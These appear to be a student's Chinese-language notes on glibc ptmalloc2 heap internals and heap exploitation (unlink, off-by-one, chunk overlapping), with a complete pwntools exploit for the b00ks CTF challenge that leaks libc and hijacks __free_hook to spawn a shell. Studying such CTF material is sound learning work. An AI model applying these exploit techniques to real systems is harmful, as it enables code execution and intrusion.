pwn2heap 堆的基础知识 我们现在在学的是在glibc下的堆–ptmalloc2。堆是由低地址向高地址增长的,管理堆的称为对管理器。
malloc调用底层原理,malloc通过创建堆的大小来选择,下图很经典:
通过brk申请内存,初始状态start_brk和brk指向同一地址,aslr开启会有不同效果
不开启 ASLR 保护时,start_brk 以及 brk 会指向 data/bss 段的结尾。
开启 ASLR 保护时,start_brk 以及 brk 也会指向同一位置,只是这个位置是在 data/bss 段结尾后的随机偏移处。
通过mmap申请内存,用来申请大的空间。
我们如果申请1000字节内存,但会得到很大的堆,是因为系统要向内核请示,这样会消耗许多系统资源,所以直接给一个很大的内存可以避免多次用户态和内核态切换,这段连续内存叫arena
堆的结构 malloc_chunk 由malloc申请的内存叫chunk,这块内存在ptmalloc内部用malloc_chunk结构体表示,无论chunk大小如何,处于分配还是释放状态,都有统一结构。
1 2 3 4 5 6 7 8 9 10 11 12 struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd ; struct malloc_chunk * bk ; struct malloc_chunk * fd_nextsize ; struct malloc_chunk * bk_nextsize ; };
INTERNAL_SIZE_T 就是size_t 是无符号整数
prev_size:如果该 chunk 的物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小) 是空闲的话,那该字段记录的是前一个chunck的大小(包括chunk头),否则该字段可以用来存储物理地址相邻的前一个chunk数据,前一个chunk指的是低地址的chunk。
size:指当前chunck大小,必须是4或8的倍数,因为机子要么是32位要么是64位,地址必须要遵守上述规定,所以其2进制后三位一定为0,所以我们给他新的应用,从高往低依次表示:
NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并(如果前面的chunk没有free,该位为1)。
fd,bk:chunk在分配状态时,fd字段开始是用户数据。chunk空闲时,会被添加到对应空闲管理链表中:
fd 指向下一个(非物理相邻)空闲的 chunk
bk 指向上一个(非物理相邻)空闲的 chunk
通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
fd_nextsize,bk_nextsize:用于较大的chunk,用于空闲的chunk
fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。
一个已经分配的 chunk 的样子如下。我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。 (分配的内存地址和malloc赋予的指针地址其实不一样)
当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear ) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A |M |P | mem -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . next . | chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (size of chunk, but used for application data) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A |0 |1 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
bin 被释放的堆并不会立刻消失,会由ptmalloc堆管理器管理,为了是当又需要chunk时能够立刻挑选一个合适的给用户。空闲的chunk会被分为4类:fast bins,small bins,large bins,unsorted bin。ptmalloc将这些维护在一个数组中,存放在malloc_state中
数组中的 bin 依次如下
第一个为 unsorted bin,字如其面,这里面的 chunk 没有进行排序,存储的 chunk 比较杂。
索引从 2 到 63 的 bin 称为 small bin,同一个 small bin 链表中的 chunk 的大小相同。两个相邻索引的 small bin 链表中的 chunk 大小相差的字节数为 2 个机器字长 ,即 32 位相差 8 字节,64 位相差 16 字节。
small bins 后面的 bin 被称作 large bins。large bins 中的每一个 bin 都包含一定范围内的 chunk,其中的 chunk 按 fd 指针的顺序从大到小排列。相同大小的 chunk 同样按照最近使用顺序排列。
此外,上述这些 bin 的排布都会遵循一个原则:任意两个物理相邻的空闲 chunk 不能在一起 。
需要注意的是,并不是所有的 chunk 被释放后就立即被放到 bin 中。ptmalloc 为了提高分配的速度,会把一些小的 chunk 先 放到 fast bins 的容器内。而且,fastbin 容器中的 chunk 的使用标记总是被置位的,所以不满足上面的原则。
fastbin(lifo) 为了不把时间花在合并和拆分堆内存上,fastbin被设计出来,glibc对fastbin中的每个bin进行单向链表组织,fastbin最大chunk空间是80字节,当需要小于80字节时,会先在fastbin里寻找有对应大小的空闲块。
smallbin(fifo)
smallbin是双向链表,共62个,每个链表存储chunk大小都一样。比如32位系统下标2对应链表chunk大小都是16字节
largebin 一共有63个bin,每个bin中chunk大小不同,处于一定区间范围内,这63个bin被分成6组,每组bin中chunk大小一致
unsortedbin(fifio) 是空闲chunk回归所属bin之前的缓冲区,unsortedbin只有一个链表,chunk处于乱序状态
当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
top chunk 程序第一次malloc时,heap会被分成两块,一块给用户,一块就是topchunk,这个topchunk物理地址时最高的,它不属于任何一个bin,如果所有bin都满足不了用户需求,就从他这分走一块bin,剩余的做成新的topbchunk。
初始情况可以把unsortedbin作为topchunk。
last remainder 在用户使用 malloc 请求分配内存时,ptmalloc2 找到的 chunk 可能并不和申请的内存大小一致,这时候就将分割之后的剩余部分称之为 last remainder chunk ,unsort bin 也会存这一块。top chunk 分割剩下的部分不会作为 last remainder.
UNLINK unlink是一个ptmalloc中的操作,为了将双向链表中的一个元素取出来
如:
1、malloc时需要从largebin中取出chunk,而fastbin和smallbin不使用unlink,依次遍历处理unsortedbin也不会用unlink,或者从比请求chunk所在bin打的bin中取chunk时
2、free:向后合并,合并物理地址相邻的低地址空闲chunk;向前合并,合并物理地址相邻的高地址空闲chunk
3、malloc_consolidate
向后合并,合并物理地址相邻的低地址空闲chunk;向前合并,合并物理地址相邻的高地址空闲chunk
4、realloc
向前扩展,合并物理地址相邻高地址空闲chunk
下图是经典的smallbin的unlink:
堆溢出 原理:溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进行调整,这也导致可利用的字节数都不小于用户申请的字节数 ),因而导致了数据溢出,并覆盖到物理相邻的高地址 的下一个堆块。
策略:
覆盖与其
物理相邻的下一个 chunk
的内容。
prev_size
size,主要有三个比特位,以及该堆块真正的大小。
NON_MAIN_ARENA
IS_MAPPED
PREV_INUSE
the True chunk size
chunk content,从而改变程序固有的执行流。
利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。
calloc与malloc区别就是calloc会在分配后自动清空
1 2 3 4 calloc (0x20 );ptr=malloc (0x20 ); memset (ptr,0 ,0x20 );
realloc
1 2 3 4 5 6 7 8 9 当 realloc (ptr,size) 的 size 不等于 ptr 的 size 时 如果申请 size > 原来 size 如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小 如果 chunk 与 top chunk 不相邻,相当于 free (ptr),malloc (new_size) 如果申请 size < 原来 size 如果相差不足以容得下一个最小 chunk (64 位下 32 个字节,32 位下 16 个字节),则保持不变 如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分 当 realloc (ptr,size) 的 size 等于 0 时,相当于 free (ptr) 当 realloc (ptr,size) 的 size 等于 ptr 的 size,不进行任何操作
例题还没刷到
Off-By-One 原理:off-by-one指的是单字节缓冲区溢出,漏洞与边界检查不严和字符串传递有关。
利用思路:
1、溢出字节位可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或者覆盖其他块数据。也可以使用NULL字节溢出方法。
2、溢出字节为NULL字节:在size为0x100的时候,溢出NULL字节可以使得prev_in_use位被清除,这样前块会被认为是free块。(1)这时候可以选择unlink方法进行处理(2)另外prev_size就会启用,就可以伪造prev_size,从而造成块之间发生重叠。这个方法关键是unlink有没有检查按照prev_size找到的块的大小与prev_size是否一致。
ps.2.28之前没有check方法2
举一个例子,刚开始看真的不是很好理解:
b00ks:
这个程序有很多功能
1 2 3 4 5 6 1. Create a book2. Delete a book3. Edit a book4. Print book detail5. Change current author name6. Exit
书本的一个结构体大小是20字节
1 2 3 4 5 6 7 struct book { int id; char *name; char *description; int size; }
作者名字可以修改,book结构体中的description可以修改,这两处修改函数都是有offbyone漏洞的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 signed __int64 __fastcall my_read (_BYTE *ptr, int number) { int i; _BYTE *buf; if ( number <= 0 ) return 0LL ; buf = ptr; for ( i = 0 ; ; ++i ) { if ( (unsigned int )read(0 , buf, 1uLL ) != 1 ) return 1LL ; if ( *buf == '\n' ) break ; ++buf; if ( i == number ) break ; } *buf = 0 ; return 0LL ; }
首先输入作者名后可以搜索到存放地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> search -s flag b00ks 0x555555602040 0x67616c66 /* 'flag' */ libc-2.31 .so 0x7ffff7dd938b 0x5f5f007367616c66 /* 'flags' */ libc-2.31 .so 0x7ffff7ddbf01 0x5f5f007367616c66 /* 'flags' */ libc-2.31 .so 0x7ffff7ddc336 0x7563007367616c66 /* 'flags' */ libc-2.31 .so 0x7ffff7f77de0 0x6f4e007367616c66 /* 'flags' */ libc-2.31 .so 0x7ffff7f7ec06 'flags & PRINTF_FORTIFY) != 0' ld-2.31 .so 0x7ffff7ff5213 0x642f002967616c66 /* 'flag)' */ ld-2.31 .so 0x7ffff7ff5d3e 'flag value(s) of 0x%x in DT_FLAGS_1.\\n' ld-2.31 .so 0x7ffff7ff6745 'flags & DL_LOOKUP_RETURN_NEWEST)' pwndbg> x/20xg 0x555555602040 //打印地址 0x555555602040 : 0x0000000067616c66 0x0000000000000000 0x555555602050 : 0x0000000000000000 0x0000000000000000 0x555555602060 : 0x00005555556036f0 0x0000000000000000 0x555555602070 : 0x0000000000000000 0x0000000000000000 0x555555602080 : 0x0000000000000000 0x0000000000000000
当我进行下面操作://需要调试list1_addr的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 p.recvuntil('Enter author name: ' ) payload='a' *32 p.sendline(payload) create(0xe0 , 'aaaa' , 0xe0 , 'bbbb' ) show() p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ) list1_addr=u64(p.recvuntil('\\n' )[:-1 ].ljust(8 ,'\\x00' )) pwndbg> x/20gx 0x555555602040 0x555555602040 : 0x6161616161616161 0x6161616161616161 0x555555602050 : 0x6161616161616161 0x6161616161616161 0x555555602060 : 0x0000555555603600 0x0000000000000000 0x555555602070 : 0x0000000000000000 0x0000000000000000
发现0x00005555556036f0最后两位变成了\X00,就是off-by-one,这样程序会认为该地址0x555555603600才是list的地址,我们直接看一下布局:
1 2 3 4 5 pwndbg> x/20xg 0x555555602040 0x555555602040 : 0x0000786b6b687779 0x0000000000000000 0x555555602050 : 0x0000000000000000 0x0000000000000000 0x555555602060 : 0x00005555556036f0 0x0000555555603760 0x555555602070 : 0x0000000000000000 0x0000000000000000
可以发现0x00005555556036f0存的是list1堆地址起始地址(不包括size)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0x5555556036a0 : 0x0000000000000000 0x0000000000000021 0x5555556036b0 : 0x0000000071717171 0x0000000000000000 0x5555556036c0 : 0x0000000000000000 (pre_size) 0x0000000000000021 0x5555556036d0 : 0x0000000077777777 0x0000000000000000 0x5555556036e0 : 0x0000000000000000 (pre_size) 0x0000000000000031 0x5555556036f0 : 0x0000000000000001 0x00005555556036b0 0x555555603700 : 0x00005555556036d0 0x0000000000000004 0x555555603710 : 0x0000000000000000 0x0000000000000021 0x555555603720 : 0x0000000065656565 0x0000000000000000 0x555555603730 : 0x0000000000000000 0x0000000000000021 0x555555603740 : 0x0000000072727272 0x0000000000000000 0x555555603750 : 0x0000000000000000 0x0000000000000031 0x555555603760 : 0x0000000000000002 0x0000555555603720 0x555555603770 : 0x0000555555603740 0x0000000000000004 0x555555603780 : 0x0000000000000000 0x0000000000020881
那么,我创建list1和list2,并且修改list1的decription时:
1 2 3 4 5 6 create(0xe0 , 'aaaa' , 0xe0 , 'bbbb' ) create(0x21000 , 'cccc' , 0x21000 , 'dddd' ) payload = 'a' * 0x60 + p64(1 ) + p64(book2_control_ptr + 8 ) * 2 + p64(0x1000 ) change(1 ,payload) 0x5555556036f0 : 0x0000000000000001 (id ) 0x00005555556036b0 (bookname_addr) 0x555555603700 : 0x00005555556036d0 (description_addr) 0x0000000000000004 (size)
heap空间布局如下:
1 2 3 0x55c18a470400 : 0x0000000000000001 0x000055c18a4704c8 0x55c18a470410 : 0x000055c18a4704c8 0x0000000000001000 该处虚假的list ,p位设为0 ,程序会把这个地方识别为list1
这个地址就是list2的name地址,获取这个地址是要求libc_base,因为list2开辟空间太大,使用mmap函数开辟
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x563fc9c00000 0x563fc9c02000 r-xp 2000 0 /home/ywhkkx/桌面/b00ks 0x563fc9e01000 0x563fc9e02000 r--p 1000 1000 /home/ywhkkx/桌面/b00ks 0x563fc9e02000 0x563fc9e03000 rw-p 1000 2000 /home/ywhkkx/桌面/b00ks 0x563fcb86d000 0x563fcb88e000 rw-p 21000 0 [heap] 0x7ff6d3dcf000 0x7ff6d3e13000 rw-p 44000 0 [anon_7ff6d3dcf] 0x7ff6d3e13000 0x7ff6d3e38000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31 .so 0x7ff6d3e38000 0x7ff6d3fb0000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so 0x7ff6d3fb0000 0x7ff6d3ffa000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so 0x7ff6d3ffa000 0x7ff6d3ffb000 ---p 1000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so ------------------------------------------------------------------------- [+] bookname2 >>0x7ff6d3df1010 libc = 0x7ff6d3e13000 - bookname2 pwndbg> x/60xg 0x55c18a470390 0x55c18a470390 : 0x0000000000000000 0x00000000000000f1 0x55c18a4703a0 : 0x6161616161616161 0x6161616161616161 0x55c18a4703b0 : 0x6161616161616161 0x6161616161616161 0x55c18a4703c0 : 0x6161616161616161 0x6161616161616161 0x55c18a4703d0 : 0x6161616161616161 0x6161616161616161 0x55c18a4703e0 : 0x6161616161616161 0x6161616161616161 0x55c18a4703f0 : 0x6161616161616161 0x6161616161616161 0x55c18a470400 : 0x0000000000000001 0x000055c18a4704c8 0x55c18a470410 : 0x000055c18a4704c8 0x0000000000001000 0x55c18a470420 : 0x0000000000000000 0x0000000000000000 0x55c18a470430 : 0x0000000000000000 0x0000000000000000 0x55c18a470440 : 0x0000000000000000 0x0000000000000000 0x55c18a470450 : 0x0000000000000000 0x0000000000000000 0x55c18a470460 : 0x0000000000000000 0x0000000000000000 0x55c18a470470 : 0x0000000000000000 0x0000000000000000 0x55c18a470480 : 0x0000000000000000 0x0000000000000031 0x55c18a470490 : 0x0000000000000001 0x000055c18a4702b0 0x55c18a4704a0 : 0x000055c18a4703a0 0x00000000000000e0 0x55c18a4704b0 : 0x0000000000000000 0x0000000000000031 0x55c18a4704c0 : 0x0000000000000002 0x00007fee78052010 0x55c18a4704d0 : 0x00007fee78030010 0x0000000000021000 0x55c18a4704e0 : 0x0000000000000000 0x000000000001fb21
接下来可以用free_hook来getshell
1 2 3 4 5 6 7 8 9 10 11 libc_base = bookname2 + 0x21ff0 success('libc_base >>' +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search('/bin/sh' ).next () success('system >>' +hex (system)) change(1 , p64(bin_sh) + p64(free_hook)) change(2 , p64(system)) free(2 )
其实就是求出binsh,freehook,system地址,然后再次放到list1里进行伪造
1 2 3 4 5 6 0x55c18a470400 : 0x0000000000000001 0x000055c18a4704c8 0x55c18a470410 : 0x000055c18a4704c8 0x0000000000001000 0x55c18a470420 : 0x0000000000000000 0x0000000000000000 0x55c18a4704c0 : 0x0000000000000002 addr("/bin/sh" ) 0x55c18a4704d0 : addr(free_hook) 0x0000000000021000 0x55c18a4704e0 : 0x0000000000000000 0x000000000001fb21
执行free(2),就会和上面的合并,也就是执行freehook挂钩的system函数(不是很理解)
下面是真正的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *p=process('./b00ks' ) elf=ELF('./b00ks' ) libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so' ) def create (len_book,bookname,len_description,description ): p.sendlineafter('> ' ,'1' ) p.sendlineafter('Enter book name size: ' ,str (len_book)) p.sendlineafter('(Max 32 chars): ' ,bookname) p.sendlineafter('description size: ' ,str (len_description)) p.sendlineafter('description: ' ,description) def free (index ): p.sendlineafter('> ' ,'2' ) p.sendlineafter('delete: ' ,str (index)) def change (index,description ): p.sendlineafter('> ' ,'3' ) p.sendlineafter('want to edit: ' ,str (index)) p.sendlineafter('book description: ' ,description) def show (): p.sendlineafter('> ' ,'4' ) def change_name (name ): p.sendlineafter('> ' , '5' ) p.sendlineafter(': ' , name) p.recvuntil('Enter author name: ' ) payload='a' *32 p.sendline(payload) create(0xe0 , 'aaaa' , 0xe0 , 'bbbb' ) show() p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ) list1_addr=u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' )) list2_addr=list1_addr+0x30 success("list1_addr >> " +hex (list1_addr)) success("list2_addr >> " +hex (list2_addr)) create(0x21000 , 'cccc' , 0x21000 , 'dddd' ) payload = 'a' * 0x60 + p64(1 ) + p64(list2_addr + 8 ) * 2 + p64(0x1000 ) change(1 ,payload) change_name('a' *0x20 ) show() p.recvuntil('Name: ' ) bookname2 = u64(p.recv(6 ).ljust(8 , '\x00' )) success('bookname2 >> ' +hex (bookname2)) libc_base = bookname2 + 0x21ff0 success('libc_base >> ' +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] one_gadget = libc_base + 0xe6c81 system = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search('/bin/sh' ).next () success('system >> ' +hex (system)) change(1 , p64(bin_sh) + p64(free_hook)) pause() change(2 , p64(system)) free(2 ) p.interactive()
那这个题的利用思路就很明确了,当输入author时,会触发off-by-one,就是会多写一个字节,然后创建结构体,这个结构体的地址会覆盖掉那个字节,所以我们可以泄露出list1结构体的地址。接下来,我们构建fake_list,fake_list通过覆盖list1的description来写入,当构造完毕,真正的list1已经被fake_list替换,接下来再创建一个结构体2,这个结构体是为了泄露libc_base地址,当拿到system,binsh,freehook地址时,通过对fakelist的description改写(进入0x0000558149b824c8,改写他的值为binsh,freehook值 ),接下来(进入0x00007fb9c96ce010 ,改写他的值为system),free(2)就可以完成攻击shell操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0 x558149b82400 : 0 x0000000000000001 0 x0000558149b824c8 fakelist0 x558149b82410 : 0 x0000558149b824c8 0 x0000000000001000 0 x558149b82420 : 0 x0000000000000000 0 x0000000000000000 0 x558149b82430 : 0 x0000000000000000 0 x0000000000000000 0 x558149b82440 : 0 x0000000000000000 0 x0000000000000000 0 x558149b82450 : 0 x0000000000000000 0 x0000000000000000 0 x558149b82460 : 0 x0000000000000000 0 x0000000000000000 0 x558149b82470 : 0 x0000000000000000 0 x0000000000000000 0 x558149b82480 : 0 x0000000000000000 0 x0000000000000031 0 x558149b82490 : 0 x0000000000000001 0 x0000558149b822b0list10 x558149b824a0 : 0 x0000558149b823a0 0 x00000000000000e0 0 x558149b824b0 : 0 x0000000000000000 0 x0000000000000031 0 x558149b824c0 : 0 x0000000000000002 0 x00007fb9c96f0010list20 x558149b824d0 : 0 x00007fb9c96ce010 0 x0000000000021000
chunk extend and overlapping chunk extend是对漏洞的常见利用手法,通过extend可以实现chunk overlapping效果,需要程序中存在堆的漏洞并且漏洞可以控制chunk header中的数据
原理:chunk extend能产生的原因在于ptmalloc在对堆chunk进行操作时使用的各种宏:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 获取chunk块的大小 #define chunksize (p) (chunksize_nomask(p) & ~(SIZE_BITS))#define chunksize_nomask (p) ((p)->mchunk_size)获取下一块chunk大小 #define next_chunk (p) ((mchunkptr)(((char *) (p)) + chunksize (p)))获取前一个chunk信息的操作 #define prev_size (p) ((p)->mchunk_prev_size)#define prev_chunk (p) ((mchunkptr)(((char *) (p)) - prev_size (p)))判断chunk是否处于use状态 #define inuse (p) ((((mchunkptr)(((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
总而言之,ptmalloc通过chunk header的数据判断chunk的使用核对chunk的前后块定位,那么就可用chunk extend 就是通过控制size和pre_size实现跨块操作,导致overlapping。
具体说明:
1、对inuse的fastbin的extend
创建两个chunk(0x10),修改第一个chunk的size使得size=chunk1.size+chunk2.size,这时候free(chunk1),发现chunk1和chunk2合成了一个chunk进行释放,接下来再通过malloc就可以得到chunk1+chunk2,取得chunk2中的内容,这种状态叫做overlapping chunk。
2、对inuse的smallbin的extend
因为处于fastbin范围内的chunk释放后会放入fastbin链表(最大是0x70),不处于这个范围内的chunk会进入unsortedbin,创建一个0x80的chunk和0x10的chunk,将0x80的size改为0xb1,然后free,chunk1和chunk2会吞入unsorted bin,如果malloc(0xa0)就会取出chunk1和chunk2
3、对free的smallbin进行extend
与2一样,但这次先free(chunk1),然后再修改size,chunk1在free后会进入unsortedbin,然后改size,接下来再malloc就可以得到chunk1+chunk2
一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。
此外通过 extend 可以实现 chunk overlapping,通过 overlapping 可以控制 chunk 的 fd/bk 指针从而可以实现 fastbin attack 等利用。
4、通过extend后向overlapping
进行4次malloc(0x10),然后把第一个的size改成0x61,然后free,接下来malloc(0x50),其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。
5、通过extend向前overlapping
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int main (void ) { void *ptr1,*ptr2,*ptr3,*ptr4; ptr1=malloc (128 ); ptr2=malloc (0x10 ); ptr3=malloc (0x10 ); ptr4=malloc (128 ); malloc (0x10 ); free (ptr1); *(int *)((long long )ptr4-0x8 )=0x90 ; *(int *)((long long )ptr4-0x10 )=0xd0 ; free (ptr4); malloc (0x150 ); }
前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。
unlink unlink其实就是将双向链表中的free块拿出来,运用漏洞时就是修改chunk的内存布局,借助unlink操作修改指针
程序进行unlink时进行检查操作
1 2 3 4 5 6 7 8 9 10 11 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0 )) malloc_printerr ("corrupted size vs. prev_size" ); if (__builtin_expect (FD->bk != P || BK->fd != P, 0 )) malloc_printerr (check_action, "corrupted double-linked list" , P, AV); if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0 ) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0 )) malloc_printerr (check_action,"corrupted double-linked list (not small)" , P, AV);
就是指:
chunkP的下一个chunk的上一个chunk是不是chunkP
chunkP的上一个chunk的下一个chunk是不是chunkP‘9
攻击原理:
unlink的检查不是那么完美,只会根据相对地址来检查,他始终会认为chunk_head + 0x8的位置presize
所以可以用来欺骗程序
如何利用?
首先要知道堆创建后,如果free,他仍然会保留在那个位置,数据不会被抹除,只是size的p位被改变,然后要知道如果一个chunk被释放,会检查这个chunk相邻的chunk是否为free状态,如果free则要进行合并(向前和向后合并),合并时需要将空闲chunk从原来bin中unlink,并将合并后的chunk放入unsorted bin中。
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdlib.h> #include <string.h> int main (int argc, char *argv[]) { char *first, *second; first = malloc (666 ); second = malloc (12 ); if (argc != 1 ) strcpy (first, argv[1 ]); free (first); free (second); return 0 ; }